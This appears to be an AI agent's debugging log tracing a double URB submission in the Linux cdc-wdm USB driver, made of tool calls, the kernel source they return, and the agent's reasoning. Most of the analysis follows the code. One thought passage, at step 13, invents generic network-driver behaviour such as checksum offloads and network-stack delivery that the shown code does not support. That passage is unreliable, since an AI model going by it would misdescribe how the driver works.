To understand *how* we got here, I need to trace the execution path leading to this error. The call trace clearly shows the sequence: `service_outstanding_interrupt.isra.0` (at `drivers/usb/class/cdc-wdm.c:509`), then `wdm_read` (at `drivers/usb/class/cdc-wdm.c:615`), followed by `vfs_read` (at `fs/read_write.c:572`), and finally `ksys_read` (at `fs/read_write.c:716`).
My immediate next step, as indicated by the investigative notes, is to dive into `drivers/usb/class/cdc-wdm.c`. I'll be examining the code around line 509, which corresponds to `service_outstanding_interrupt.isra.0`, and line 615, the `wdm_read` function. My hypothesis is that within the `service_outstanding_interrupt` routine, there's an attempt to submit a URB that's still active, likely because a previous `wdm_read` operation hasn't fully completed its interrupt handling or cleanup before a new read is initiated. I'll be looking for any potential locking issues, incorrect state management, or unsynchronized access patterns that could lead to this condition, especially concerning how outstanding interrupts are serviced and how new read requests are queued. The goal is to pinpoint the exact logic flow that allows a URB to be re-submitted while it's still in flight.
|
| 6/2 |
2026/09/11 21:53 |
tool |
read-file |
0m
Args: map[File:drivers/usb/class/cdc-wdm.c FirstLine:490 LineCount:100]
Results: map[Contents: 490: static int service_outstanding_interrupt(struct wdm_device *desc)
491: {
492: int rv = 0;
493:
494: /* submit read urb only if the device is waiting for it */
495: if (!desc->resp_count || !--desc->resp_count)
496: goto out;
497:
498: if (test_bit(WDM_DISCONNECTING, &desc->flags)) {
499: rv = -ENODEV;
500: goto out;
501: }
502: if (test_bit(WDM_RESETTING, &desc->flags)) {
503: rv = -EIO;
504: goto out;
505: }
506:
507: set_bit(WDM_RESPONDING, &desc->flags);
508: spin_unlock_irq(&desc->iuspin);
509: rv = usb_submit_urb(desc->response, GFP_KERNEL);
510: spin_lock_irq(&desc->iuspin);
511: if (rv) {
512: if (!test_bit(WDM_DISCONNECTING, &desc->flags))
513: dev_err(&desc->intf->dev,
514: "usb_submit_urb failed with result %d\n", rv);
515:
516: /* make sure the next notification trigger a submit */
517: clear_bit(WDM_RESPONDING, &desc->flags);
518: desc->resp_count = 0;
519: }
520: out:
521: return rv;
522: }
523:
524: static ssize_t wdm_read
525: (struct file *file, char __user *buffer, size_t count, loff_t *ppos)
526: {
527: int rv, cntr;
528: int i = 0;
529: struct wdm_device *desc = file->private_data;
530:
531:
532: rv = mutex_lock_interruptible(&desc->rlock); /*concurrent reads */
533: if (rv < 0)
534: return -ERESTARTSYS;
535:
536: cntr = READ_ONCE(desc->length);
537: smp_rmb(); /* against wdm_in_callback() */
538: if (cntr == 0) {
539: desc->read = 0;
540: retry:
541: if (test_bit(WDM_DISCONNECTING, &desc->flags)) {
542: rv = -ENODEV;
543: goto err;
544: }
545: if (test_bit(WDM_OVERFLOW, &desc->flags)) {
546: clear_bit(WDM_OVERFLOW, &desc->flags);
547: rv = -ENOBUFS;
548: goto err;
549: }
550: i++;
551: if (file->f_flags & O_NONBLOCK) {
552: if (!test_bit(WDM_READ, &desc->flags)) {
553: rv = -EAGAIN;
554: goto err;
555: }
556: rv = 0;
557: } else {
558: rv = wait_event_interruptible(desc->wait,
559: test_bit(WDM_READ, &desc->flags));
560: }
561:
562: /* may have happened while we slept */
563: if (test_bit(WDM_DISCONNECTING, &desc->flags)) {
564: rv = -ENODEV;
565: goto err;
566: }
567: if (test_bit(WDM_RESETTING, &desc->flags)) {
568: rv = -EIO;
569: goto err;
570: }
571: usb_mark_last_busy(interface_to_usbdev(desc->intf));
572: if (rv < 0) {
573: rv = -ERESTARTSYS;
574: goto err;
575: }
576:
577: spin_lock_irq(&desc->iuspin);
578:
579: if (desc->rerr) { /* read completed, error happened */
580: rv = usb_translate_errors(desc->rerr);
581: desc->rerr = 0;
582: spin_unlock_irq(&desc->iuspin);
583: goto err;
584: }
585: /*
586: * recheck whether we've lost the race
587: * against the completion handler
588: */
589: if (!test_bit(WDM_READ, &desc->flags)) { /* lost race */
]
|
| 7/2 |
2026/09/11 21:53 |
llm |
initial-researcher |
0m
Model:
Tokens:
input: 6283
output: 41
thoughts: 13
Thoughts: **My Thought Process on `wdm_read`**
Alright, let's dive into the remaining section of `wdm_read`. I need to get a solid grasp of how this function is structured and what its core responsibilities are. My initial focus is on tracing the execution flow. I'm looking for how the function initializes its internal state, what parameters it accepts, and how it handles different scenarios or error conditions. Specifically, I'm keen to understand the data structures it employs to manage the read operation, whether that involves buffers, pointers, or specific kernel objects.
As I read, I'll be paying close attention to the interaction points. How does `wdm_read` interface with the underlying hardware or device driver stack? Is it directly communicating with a physical device, or is it abstracting a more complex layered architecture? I'm also trying to anticipate potential bottlenecks or areas where performance might be critical. Are there any explicit optimizations being made, or any trade-offs I should be aware of?
I'll also be scrutinizing the error handling mechanisms. What kind of errors can `wdm_read` encounter, and how does it propagate those errors back to the caller? Is there a consistent error reporting strategy? Understanding this is crucial for robust system design.
Furthermore, I'm mentally modeling the lifecycle of a read request. From the moment it's initiated, through the data retrieval process, to the final completion and notification, I want to visualize the entire journey. This includes understanding any asynchronous aspects, callbacks, or completion routines that might be involved.
Ultimately, my goal is to build a comprehensive mental model of `wdm_read`'s functionality, its internal workings, and its place within the broader system architecture. This will allow me to not only understand what it *does*, but also *why* it does it that way, and how it contributes to the overall stability and efficiency of the system. I'm essentially trying to reconstruct the design decisions and underlying principles that guided its implementation.
|
| 8/2 |
2026/09/11 21:53 |
tool |
read-file |
0m
Args: map[File:drivers/usb/class/cdc-wdm.c FirstLine:590 LineCount:100]
Results: map[Contents: 590: spin_unlock_irq(&desc->iuspin);
591: goto retry;
592: }
593:
594: cntr = desc->length;
595: spin_unlock_irq(&desc->iuspin);
596: }
597:
598: if (cntr > count)
599: cntr = count;
600: rv = copy_to_user(buffer, desc->ubuf, cntr);
601: if (rv > 0) {
602: rv = -EFAULT;
603: goto err;
604: }
605:
606: spin_lock_irq(&desc->iuspin);
607:
608: for (i = 0; i < desc->length - cntr; i++)
609: desc->ubuf[i] = desc->ubuf[i + cntr];
610:
611: desc->length -= cntr;
612: /* in case we had outstanding data */
613: if (!desc->length) {
614: clear_bit(WDM_READ, &desc->flags);
615: service_outstanding_interrupt(desc);
616: }
617: spin_unlock_irq(&desc->iuspin);
618: rv = cntr;
619:
620: err:
621: mutex_unlock(&desc->rlock);
622: return rv;
623: }
624:
625: static int wdm_wait_for_response(struct file *file, long timeout)
626: {
627: struct wdm_device *desc = file->private_data;
628: long rv; /* Use long here because (int) MAX_SCHEDULE_TIMEOUT < 0. */
629:
630: /*
631: * Needs both flags. We cannot do with one because resetting it would
632: * cause a race with write() yet we need to signal a disconnect.
633: */
634: rv = wait_event_interruptible_timeout(desc->wait,
635: !test_bit(WDM_IN_USE, &desc->flags) ||
636: test_bit(WDM_DISCONNECTING, &desc->flags),
637: timeout);
638:
639: /*
640: * To report the correct error. This is best effort.
641: * We are inevitably racing with the hardware.
642: */
643: if (test_bit(WDM_DISCONNECTING, &desc->flags))
644: return -ENODEV;
645: if (!rv)
646: return -EIO;
647: if (rv < 0)
648: return -EINTR;
649:
650: spin_lock_irq(&desc->iuspin);
651: rv = desc->werr;
652: desc->werr = 0;
653: spin_unlock_irq(&desc->iuspin);
654:
655: return usb_translate_errors(rv);
656:
657: }
658:
659: /*
660: * You need to send a signal when you react to malicious or defective hardware.
661: * Also, don't abort when fsync() returned -EINVAL, for older kernels which do
662: * not implement wdm_flush() will return -EINVAL.
663: */
664: static int wdm_fsync(struct file *file, loff_t start, loff_t end, int datasync)
665: {
666: return wdm_wait_for_response(file, MAX_SCHEDULE_TIMEOUT);
667: }
668:
669: /*
670: * Same with wdm_fsync(), except it uses finite timeout in order to react to
671: * malicious or defective hardware which ceased communication after close() was
672: * implicitly called due to process termination.
673: */
674: static int wdm_flush(struct file *file, fl_owner_t id)
675: {
676: return wdm_wait_for_response(file, WDM_FLUSH_TIMEOUT);
677: }
678:
679: static __poll_t wdm_poll(struct file *file, struct poll_table_struct *wait)
680: {
681: struct wdm_device *desc = file->private_data;
682: unsigned long flags;
683: __poll_t mask = 0;
684:
685: spin_lock_irqsave(&desc->iuspin, flags);
686: if (test_bit(WDM_DISCONNECTING, &desc->flags)) {
687: mask = EPOLLHUP | EPOLLERR;
688: spin_unlock_irqrestore(&desc->iuspin, flags);
689: goto desc_out;
]
|
| 9/2 |
2026/09/11 21:53 |
llm |
initial-researcher |
0m
Model:
Tokens:
input: 7801
output: 62
thoughts: 480
Thoughts: **My Thought Process Regarding the USB URB Submission Bug**
Alright, so the core of the problem, as I've identified it, is a race condition where `usb_submit_urb(desc->response, GFP_KERNEL)` is being called while `desc->response` – which I understand is a USB URB – is already in flight. This is clearly an unacceptable state; an active URB should not be re-submitted.
I've been digging into `service_outstanding_interrupt` to understand how this submission is happening. Here's what I see:
```c
static int service_outstanding_interrupt(struct wdm_device *desc)
{
int rv = 0;
/* submit read urb only if the device is waiting for it */
if (!desc->resp_count || !--desc->resp_count) // This condition is crucial for controlling submission.
goto out;
if (test_bit(WDM_DISCONNECTING, &desc->flags)) {
rv = -ENODEV;
goto out;
}
if (test_bit(WDM_RESETTING, &desc->flags)) {
rv = -EIO;
goto out;
}
set_bit(WDM_RESPONDING, &desc->flags); // Mark that we're intending to respond.
spin_unlock_irq(&desc->iuspin); // Ah, here's a key unlock!
rv = usb_submit_urb(desc->response, GFP_KERNEL); // This is where the problematic submission happens.
spin_lock_irq(&desc->iuspin); // And we re-acquire the lock.
if (rv) {
if (!test_bit(WDM_DISCONNECTING, &desc->flags))
dev_err(&desc->intf->dev,
"usb_submit_urb failed with result %d\n", rv);
/* make sure the next notification trigger a submit */
clear_bit(WDM_RESPONDING, &desc->flags);
desc->resp_count = 0; // Resetting count on failure, which makes sense.
}
out:
return rv;
}
```
My analysis indicates that `service_outstanding_interrupt` is invoked from `wdm_read`, and importantly, it's called *while `desc->iuspin` is held*. Let's look at the relevant section of `wdm_read`:
```c
desc->length -= cntr;
/* in case we had outstanding data */
if (!desc->length) { // This conditional entry point is also significant.
clear_bit(WDM_READ, &desc->flags);
service_outstanding_interrupt(desc); // The call site.
}
spin_unlock_irq(&desc->iuspin); // The lock is released *after* the potential call to service_outstanding_interrupt.
```
This flow is critical. `wdm_read` holds the lock, checks if `desc->length` is zero, and if so, calls `service_outstanding_interrupt`. *Then*, and only then, does it release the spinlock. The problem arises because `service_outstanding_interrupt` *releases* the spinlock (`spin_unlock_irq(&desc->iuspin);`) *before* calling `usb_submit_urb`. This window of opportunity, where the lock is released, is where another context could potentially enter `service_outstanding_interrupt` (or another function that also submits `desc->response`) and submit the same URB again.
The critical question that's now on my mind is: **Where else is `desc->response` being submitted?** I need to trace all execution paths that could lead to a `usb_submit_urb(desc->response, ...)` call to understand how this re-submission is being triggered. This is the next logical step to fully resolve this concurrency bug.
|
| 10/2 |
2026/09/11 21:53 |
tool |
codesearch-find-references |
0m
Error:
Args: map[ContextFile:drivers/usb/class/cdc-wdm.c IncludeSnippetLines:2 Name:response SourceTreePrefix:drivers/usb/class/cdc-wdm.c]
Results: map[References:<nil> TruncatedOutput:false]
|
| 11/2 |
2026/09/11 21:54 |
llm |
initial-researcher |
0m
Model:
Tokens:
input: 8342
output: 67
thoughts: 29
Thoughts: **My Thought Process Regarding `wdm_device::response`**
Okay, so I've encountered the term `wdm_device::response`. My immediate inclination, given my expertise, is to understand its context within the `wdm_device` structure. To do this, my natural next step is to perform a targeted search. I'm not just looking for any mention of `response`; I'm specifically trying to locate its declaration and usage *as a field within* the `struct wdm_device`. This precise targeting is crucial to ensure I'm not pulling in extraneous information about a function or variable named `response` that might exist elsewhere, but rather isolating its role as a member of this particular data structure.
|
| 12/2 |
2026/09/11 21:54 |
tool |
codesearch-find-references |
0m
Args: map[ContextFile:drivers/usb/class/cdc-wdm.c IncludeSnippetLines:2 Name:wdm_device::response SourceTreePrefix:drivers/usb/class/cdc-wdm.c]
Results: map[References:[map[ReferenceKind:reads ReferencingEntityKind:function ReferencingEntityName:free_urbs SourceFile:drivers/usb/class/cdc-wdm.c SourceLine:365 SourceSnippet: 363: {
364: usb_free_urb(desc->validity);
365: usb_free_urb(desc->response);
366: usb_free_urb(desc->command);
367: }
] map[ReferenceKind:reads ReferencingEntityKind:function ReferencingEntityName:poison_urbs SourceFile:drivers/usb/class/cdc-wdm.c SourceLine:348 SourceSnippet: 346: usb_poison_urb(desc->command);
347: usb_poison_urb(desc->validity);
348: usb_poison_urb(desc->response);
349: }
] map[ReferenceKind:reads ReferencingEntityKind:function ReferencingEntityName:service_outstanding_interrupt SourceFile:drivers/usb/class/cdc-wdm.c SourceLine:509 SourceSnippet: 507: set_bit(WDM_RESPONDING, &desc->flags);
508: spin_unlock_irq(&desc->iuspin);
509: rv = usb_submit_urb(desc->response, GFP_KERNEL);
510: spin_lock_irq(&desc->iuspin);
511: if (rv) {
] map[ReferenceKind:reads ReferencingEntityKind:function ReferencingEntityName:unpoison_urbs SourceFile:drivers/usb/class/cdc-wdm.c SourceLine:357 SourceSnippet: 355: * it is symmetrical just to be nice
356: */
357: usb_unpoison_urb(desc->response);
358: usb_unpoison_urb(desc->validity);
359: usb_unpoison_urb(desc->command);
] map[ReferenceKind:writes ReferencingEntityKind:function ReferencingEntityName:wdm_create SourceFile:drivers/usb/class/cdc-wdm.c SourceLine:1066 SourceSnippet:1064: goto err;
1065:
1066: desc->response = usb_alloc_urb(0, GFP_KERNEL);
1067: if (!desc->response)
1068: goto err;
] map[ReferenceKind:reads ReferencingEntityKind:function ReferencingEntityName:wdm_create SourceFile:drivers/usb/class/cdc-wdm.c SourceLine:1067 SourceSnippet:1065:
1066: desc->response = usb_alloc_urb(0, GFP_KERNEL);
1067: if (!desc->response)
1068: goto err;
1069:
] map[ReferenceKind:reads ReferencingEntityKind:function ReferencingEntityName:wdm_create SourceFile:drivers/usb/class/cdc-wdm.c SourceLine:1104 SourceSnippet:1102:
1103: usb_fill_control_urb(
1104: desc->response,
1105: interface_to_usbdev(intf),
1106: /* using common endpoint 0 */
] map[ReferenceKind:reads ReferencingEntityKind:function ReferencingEntityName:wdm_int_callback SourceFile:drivers/usb/class/cdc-wdm.c SourceLine:318 SourceSnippet: 316: && !test_bit(WDM_DISCONNECTING, &desc->flags)
317: && !test_bit(WDM_SUSPENDING, &desc->flags)) {
318: rv = usb_submit_urb(desc->response, GFP_ATOMIC);
319: dev_dbg(&desc->intf->dev, "submit response URB %d\n", rv);
320: }
] map[ReferenceKind:reads ReferencingEntityKind:function ReferencingEntityName:wdm_rxwork SourceFile:drivers/usb/class/cdc-wdm.c SourceLine:997 SourceSnippet: 995: spin_unlock_irqrestore(&desc->iuspin, flags);
996: if (!responding)
997: rv = usb_submit_urb(desc->response, GFP_KERNEL);
998: if (rv < 0 && rv != -EPERM) {
999: spin_lock_irqsave(&desc->iuspin, flags);
]] TruncatedOutput:false]
|
| 13/2 |
2026/09/11 21:54 |
llm |
initial-researcher |
0m
Model:
Tokens:
input: 9476
output: 41
thoughts: 21
Thoughts: **My Thought Process Regarding `wdm_int_callback` and `wdm_rxwork`**
Alright, so I'm diving into the nitty-gritty of the driver's interrupt handling and its associated work queue processing. My immediate focus is on understanding the interplay between `wdm_int_callback` and `wdm_rxwork`.
Here's how I'm framing this: `wdm_int_callback` is, by its very nature, the **immediate response** to a hardware interrupt. This means it needs to be as quick and efficient as humanly possible. Its primary responsibility, as I see it, is to acknowledge the interrupt, gather the most critical, time-sensitive information from the hardware, and then **offload the bulk of the processing** to a less time-constrained context. This is a classic interrupt handler pattern: do the bare minimum in the interrupt service routine (ISR) to avoid starving other critical system processes.
So, what information is likely being gathered in `wdm_int_callback`? I'm thinking about things like the interrupt status register – identifying *what* actually caused the interrupt. Is it a received packet? A transmission completion? An error condition? It's also likely to be involved in **clearing the interrupt source** in the hardware to prevent immediate re-assertion. Crucially, it probably needs to **prepare the necessary context** for the deferred processing. This might involve fetching descriptors, buffer pointers, or any other metadata that the subsequent work handler will need.
And that's where `wdm_rxwork` comes in. This function, residing in a different context (likely a kernel thread or a dedicated work queue), is the **deferred processing engine**. My expectation is that `wdm_int_callback` will *schedule* `wdm_rxwork` to run, passing it the information it gathered. `wdm_rxwork` will then take over the heavier lifting. For a receive path, this would involve actually **processing the received data**. This means taking the buffers and descriptors handed over by the ISR, validating the received data, potentially performing checksum offloads, categorizing the packet, and ultimately **delivering it to the network stack**. It might also be responsible for re-enabling further receive interrupts, if that's how the hardware operates.
The key takeaway for me here is the **division of labor**. `wdm_int_callback` is the **gatekeeper and quick responder**, ensuring the hardware is handled promptly and the work is queued. `wdm_rxwork` is the **workhorse**, performing the more complex, time-consuming operations that are better suited for a deferred context. I'm particularly interested in how they **synchronize and pass data** between them – what data structures are shared, and what mechanisms are used to ensure atomicity and prevent race conditions? This is where the real elegance (or potential pitfalls) of the driver often lies. I'm also considering the potential for multiple work items being queued if the interrupt rate is high, and how `wdm_rxwork` handles that.
|
| 14/2 |
2026/09/11 21:54 |
tool |
read-file |
0m
Args: map[File:drivers/usb/class/cdc-wdm.c FirstLine:280 LineCount:100]
Results: map[Contents: 280: if (urb->actual_length < sizeof(struct usb_cdc_notification)) {
281: dev_err_ratelimited(&desc->intf->dev, "wdm_int_callback - %d bytes\n",
282: urb->actual_length);
283: goto exit;
284: }
285:
286: switch (dr->bNotificationType) {
287: case USB_CDC_NOTIFY_RESPONSE_AVAILABLE:
288: dev_dbg(&desc->intf->dev,
289: "NOTIFY_RESPONSE_AVAILABLE received: index %d len %d\n",
290: le16_to_cpu(dr->wIndex), le16_to_cpu(dr->wLength));
291: break;
292:
293: case USB_CDC_NOTIFY_NETWORK_CONNECTION:
294:
295: dev_dbg(&desc->intf->dev,
296: "NOTIFY_NETWORK_CONNECTION %s network\n",
297: dr->wValue ? "connected to" : "disconnected from");
298: goto exit;
299: case USB_CDC_NOTIFY_SPEED_CHANGE:
300: dev_dbg(&desc->intf->dev, "SPEED_CHANGE received (len %u)\n",
301: urb->actual_length);
302: goto exit;
303: default:
304: clear_bit(WDM_POLL_RUNNING, &desc->flags);
305: dev_err(&desc->intf->dev,
306: "unknown notification %d received: index %d len %d\n",
307: dr->bNotificationType,
308: le16_to_cpu(dr->wIndex),
309: le16_to_cpu(dr->wLength));
310: goto exit;
311: }
312:
313: spin_lock_irqsave(&desc->iuspin, flags);
314: responding = test_and_set_bit(WDM_RESPONDING, &desc->flags);
315: if (!desc->resp_count++ && !responding
316: && !test_bit(WDM_DISCONNECTING, &desc->flags)
317: && !test_bit(WDM_SUSPENDING, &desc->flags)) {
318: rv = usb_submit_urb(desc->response, GFP_ATOMIC);
319: dev_dbg(&desc->intf->dev, "submit response URB %d\n", rv);
320: }
321: spin_unlock_irqrestore(&desc->iuspin, flags);
322: if (rv < 0) {
323: clear_bit(WDM_RESPONDING, &desc->flags);
324: if (rv == -EPERM)
325: return;
326: if (rv == -ENOMEM) {
327: sw:
328: rv = schedule_work(&desc->rxwork);
329: if (rv)
330: dev_err(&desc->intf->dev,
331: "Cannot schedule work\n");
332: }
333: }
334: exit:
335: rv = usb_submit_urb(urb, GFP_ATOMIC);
336: if (rv)
337: dev_err(&desc->intf->dev,
338: "%s - usb_submit_urb failed with result %d\n",
339: __func__, rv);
340:
341: }
342:
343: static void poison_urbs(struct wdm_device *desc)
344: {
345: /* the order here is essential */
346: usb_poison_urb(desc->command);
347: usb_poison_urb(desc->validity);
348: usb_poison_urb(desc->response);
349: }
350:
351: static void unpoison_urbs(struct wdm_device *desc)
352: {
353: /*
354: * the order here is not essential
355: * it is symmetrical just to be nice
356: */
357: usb_unpoison_urb(desc->response);
358: usb_unpoison_urb(desc->validity);
359: usb_unpoison_urb(desc->command);
360: }
361:
362: static void free_urbs(struct wdm_device *desc)
363: {
364: usb_free_urb(desc->validity);
365: usb_free_urb(desc->response);
366: usb_free_urb(desc->command);
367: }
368:
369: static void cleanup(struct wdm_device *desc)
370: {
371: kfree(desc->sbuf);
372: kfree(desc->inbuf);
373: kfree(desc->orq);
374: kfree(desc->irq);
375: kfree(desc->ubuf);
376: free_urbs(desc);
377: kfree(desc);
378: }
379:
]
|
| 15/2 |
2026/09/11 21:54 |
llm |
initial-researcher |
0m
Model:
Tokens:
input: 11061
output: 41
thoughts: 11
Thoughts: **My Exploration of `wdm_rxwork`**
Okay, so my immediate thought, as I look at this system, is to dive into `wdm_rxwork`. I want to understand its role, its function, and how it fits into the larger picture of what we're doing here. My mind is already racing with questions: What exactly does `wdm_rxwork` do? What are its inputs and outputs? What kind of data does it process, and what are the expected behaviors and outcomes? I'm trying to get a handle on its specific purpose within the architecture, and how it contributes to the overall functionality we're aiming for. I'm also considering potential dependencies or interactions it might have with other modules or components. Essentially, I'm initiating a deep-dive into this particular piece of code or logic to build a solid foundational understanding.
|
| 16/2 |
2026/09/11 21:54 |
tool |
read-file |
0m
Args: map[File:drivers/usb/class/cdc-wdm.c FirstLine:980 LineCount:100]
Results: map[Contents: 980: #endif /* CONFIG_WWAN */
981:
982: /* --- error handling --- */
983: static void wdm_rxwork(struct work_struct *work)
984: {
985: struct wdm_device *desc = container_of(work, struct wdm_device, rxwork);
986: unsigned long flags;
987: int rv = 0;
988: int responding;
989:
990: spin_lock_irqsave(&desc->iuspin, flags);
991: if (test_bit(WDM_DISCONNECTING, &desc->flags)) {
992: spin_unlock_irqrestore(&desc->iuspin, flags);
993: } else {
994: responding = test_and_set_bit(WDM_RESPONDING, &desc->flags);
995: spin_unlock_irqrestore(&desc->iuspin, flags);
996: if (!responding)
997: rv = usb_submit_urb(desc->response, GFP_KERNEL);
998: if (rv < 0 && rv != -EPERM) {
999: spin_lock_irqsave(&desc->iuspin, flags);
1000: clear_bit(WDM_RESPONDING, &desc->flags);
1001: if (!test_bit(WDM_DISCONNECTING, &desc->flags))
1002: schedule_work(&desc->rxwork);
1003: spin_unlock_irqrestore(&desc->iuspin, flags);
1004: }
1005: }
1006: }
1007:
1008: static void service_interrupt_work(struct work_struct *work)
1009: {
1010: struct wdm_device *desc;
1011:
1012: desc = container_of(work, struct wdm_device, service_outs_intr);
1013:
1014: spin_lock_irq(&desc->iuspin);
1015: service_outstanding_interrupt(desc);
1016: if (!desc->resp_count && (desc->length || desc->rerr)) {
1017: set_bit(WDM_READ, &desc->flags);
1018: wake_up(&desc->wait);
1019: }
1020: spin_unlock_irq(&desc->iuspin);
1021: }
1022:
1023: /* --- hotplug --- */
1024:
1025: static int wdm_create(struct usb_interface *intf, struct usb_endpoint_descriptor *ep,
1026: u16 bufsize, enum wwan_port_type type,
1027: int (*manage_power)(struct usb_interface *, int))
1028: {
1029: int rv = -ENOMEM;
1030: struct wdm_device *desc;
1031:
1032: desc = kzalloc_obj(struct wdm_device);
1033: if (!desc)
1034: goto out;
1035: INIT_LIST_HEAD(&desc->device_list);
1036: mutex_init(&desc->rlock);
1037: mutex_init(&desc->wlock);
1038: spin_lock_init(&desc->iuspin);
1039: init_waitqueue_head(&desc->wait);
1040: desc->wMaxCommand = bufsize;
1041: /* this will be expanded and needed in hardware endianness */
1042: desc->inum = cpu_to_le16((u16)intf->cur_altsetting->desc.bInterfaceNumber);
1043: desc->intf = intf;
1044: desc->wwanp_type = type;
1045: INIT_WORK(&desc->rxwork, wdm_rxwork);
1046: INIT_WORK(&desc->service_outs_intr, service_interrupt_work);
1047:
1048: if (!usb_endpoint_is_int_in(ep)) {
1049: rv = -EINVAL;
1050: goto err;
1051: }
1052:
1053: desc->wMaxPacketSize = usb_endpoint_maxp(ep);
1054:
1055: desc->orq = kmalloc_obj(struct usb_ctrlrequest);
1056: if (!desc->orq)
1057: goto err;
1058: desc->irq = kmalloc_obj(struct usb_ctrlrequest);
1059: if (!desc->irq)
1060: goto err;
1061:
1062: desc->validity = usb_alloc_urb(0, GFP_KERNEL);
1063: if (!desc->validity)
1064: goto err;
1065:
1066: desc->response = usb_alloc_urb(0, GFP_KERNEL);
1067: if (!desc->response)
1068: goto err;
1069:
1070: desc->command = usb_alloc_urb(0, GFP_KERNEL);
1071: if (!desc->command)
1072: goto err;
1073:
1074: desc->ubuf = kmalloc(desc->wMaxCommand, GFP_KERNEL);
1075: if (!desc->ubuf)
1076: goto err;
1077:
1078: desc->sbuf = kmalloc(desc->wMaxPacketSize, GFP_KERNEL);
1079: if (!desc->sbuf)
]
|
| 17/2 |
2026/09/11 21:54 |
llm |
initial-researcher |
0m
Model:
Tokens:
input: 12668
output: 41
thoughts: 712
Thoughts: **My Investigation into the `usb_submit_urb` Bug**
Okay, so I've pinpointed the core of this bug: it's when `usb_submit_urb(desc->response, GFP_KERNEL)` is being called when the URB in question, `desc->response`, is *already* active. This is a classic race condition waiting to happen, and I need to trace how `desc->response` gets submitted in the first place to understand the trigger.
My initial scan led me to three key areas where this submission might occur: `wdm_int_callback`, `wdm_rxwork`, and `service_outstanding_interrupt`.
Let's break them down:
1. **`wdm_int_callback`**: This function handles the interrupt callback. It checks `desc->resp_count` and a `WDM_RESPONDING` flag. Crucially, it seems to submit the `desc->response` URB only if `desc->resp_count` was zero *and* `WDM_RESPONDING` was not already set. This looks reasonably safe, using `GFP_ATOMIC` which is appropriate for an interrupt context.
2. **`wdm_rxwork`**: This seems to be a workqueue function. It also checks `WDM_DISCONNECTING`, then tries to set the `WDM_RESPONDING` bit using `test_and_set_bit`. If this bit wasn't already set, it proceeds to submit the `desc->response` URB with `GFP_KERNEL`. This also appears to have a check, preventing submission if `WDM_RESPONDING` was already set.
3. **`service_outstanding_interrupt`**: This is where things get interesting. It seems to be intended to submit the read URB *if* the device is waiting for it. The initial checks are for `desc->resp_count` and `WDM_DISCONNECTING` / `WDM_RESETTING`. The problematic part is right after these checks: `set_bit(WDM_RESPONDING, &desc->flags);`. Here, I'm *setting* the `WDM_RESPONDING` flag, but I'm *not* checking if it was already set beforehand. This is a red flag. If `WDM_RESPONDING` is already set (meaning the URB is active), I'm then proceeding to submit the URB again.
Now, I need to see *where* `service_outstanding_interrupt` is being called from. The log shows it's invoked from `wdm_read` and `service_interrupt_work`.
In `wdm_read`, it's called when `!desc->length` and `WDM_READ` is cleared. This means if there was data waiting, and the read operation completes, we then call `service_outstanding_interrupt`.
The core of the problem seems to be that if `WDM_RESPONDING` is already set, it *should* indicate that `desc->response` is in flight. However, in `service_outstanding_interrupt`, I'm unconditionally setting this flag *and then* submitting the URB, without verifying if it was already set. This bypasses the intention of `WDM_RESPONDING` as a guard for an active URB.
My next step is to confirm how `WDM_RESPONDING` is cleared. It *should* be cleared when the URB completes, likely in `wdm_in_callback`. If that's the case, then `service_outstanding_interrupt` is the culprit, as it sets the flag and submits the URB without first confirming the flag's state, potentially leading to a double submission.
|
| 18/2 |
2026/09/11 21:55 |
tool |
read-file |
0m
Args: map[File:drivers/usb/class/cdc-wdm.c FirstLine:180 LineCount:100]
Results: map[Contents: 180: dev_dbg(&desc->intf->dev,
181: "nonzero urb status received: -ENOENT\n");
182: goto skip_error;
183: case -ECONNRESET:
184: dev_dbg(&desc->intf->dev,
185: "nonzero urb status received: -ECONNRESET\n");
186: goto skip_error;
187: case -ESHUTDOWN:
188: dev_dbg(&desc->intf->dev,
189: "nonzero urb status received: -ESHUTDOWN\n");
190: goto skip_error;
191: case -EPIPE:
192: dev_err(&desc->intf->dev,
193: "nonzero urb status received: -EPIPE\n");
194: break;
195: default:
196: dev_err(&desc->intf->dev,
197: "Unexpected error %d\n", status);
198: break;
199: }
200: }
201:
202: if (test_bit(WDM_WWAN_IN_USE, &desc->flags)) {
203: wdm_wwan_rx(desc, length);
204: goto out;
205: }
206:
207: /*
208: * only set a new error if there is no previous error.
209: * Errors are only cleared during read/open
210: * Avoid propagating -EPIPE (stall) to userspace since it is
211: * better handled as an empty read
212: */
213: if (desc->rerr == 0 && status != -EPIPE)
214: desc->rerr = status;
215:
216: if (length == 0) {
217: dev_dbg(&desc->intf->dev, "received ZLP\n");
218: goto skip_zlp;
219: }
220:
221: if (length + desc->length > desc->wMaxCommand) {
222: /* The buffer would overflow */
223: set_bit(WDM_OVERFLOW, &desc->flags);
224: } else {
225: /* we may already be in overflow */
226: if (!test_bit(WDM_OVERFLOW, &desc->flags)) {
227: memmove(desc->ubuf + desc->length, desc->inbuf, length);
228: smp_wmb(); /* against wdm_read() */
229: WRITE_ONCE(desc->length, desc->length + length);
230: }
231: }
232: skip_error:
233:
234: if (desc->rerr) {
235: /*
236: * If there was a ZLP or an error, userspace may decide to not
237: * read any data after poll'ing.
238: * We should respond to further attempts from the device to send
239: * data, so that we can get unstuck.
240: */
241: skip_zlp:
242: schedule_work(&desc->service_outs_intr);
243: } else {
244: set_bit(WDM_READ, &desc->flags);
245: wake_up(&desc->wait);
246: }
247: out:
248: spin_unlock_irqrestore(&desc->iuspin, flags);
249: }
250:
251: static void wdm_int_callback(struct urb *urb)
252: {
253: unsigned long flags;
254: int rv = 0;
255: int responding;
256: int status = urb->status;
257: struct wdm_device *desc;
258: struct usb_cdc_notification *dr;
259:
260: desc = urb->context;
261: dr = (struct usb_cdc_notification *)desc->sbuf;
262:
263: if (status) {
264: switch (status) {
265: case -ESHUTDOWN:
266: case -ENOENT:
267: case -ECONNRESET:
268: return; /* unplug */
269: case -EPIPE:
270: set_bit(WDM_INT_STALL, &desc->flags);
271: dev_err(&desc->intf->dev, "Stall on int endpoint\n");
272: goto sw; /* halt is cleared in work */
273: default:
274: dev_err_ratelimited(&desc->intf->dev,
275: "nonzero urb status received: %d\n", status);
276: break;
277: }
278: }
279:
]
|
| 19/2 |
2026/09/11 21:55 |
llm |
initial-researcher |
0m
Model:
Tokens:
input: 14843
output: 41
thoughts: 29
Thoughts: **A Deep Dive into State Management: The Elusive `WDM_RESPONDING` Flag**
Ah, the intricacies of state management! My current focus has landed squarely on the `WDM_RESPONDING` flag, and a rather nagging question has emerged: precisely when and where does this critical flag get cleared? It feels like a vital piece of information that, if overlooked, could lead to subtle but significant bugs in the system's behavior.
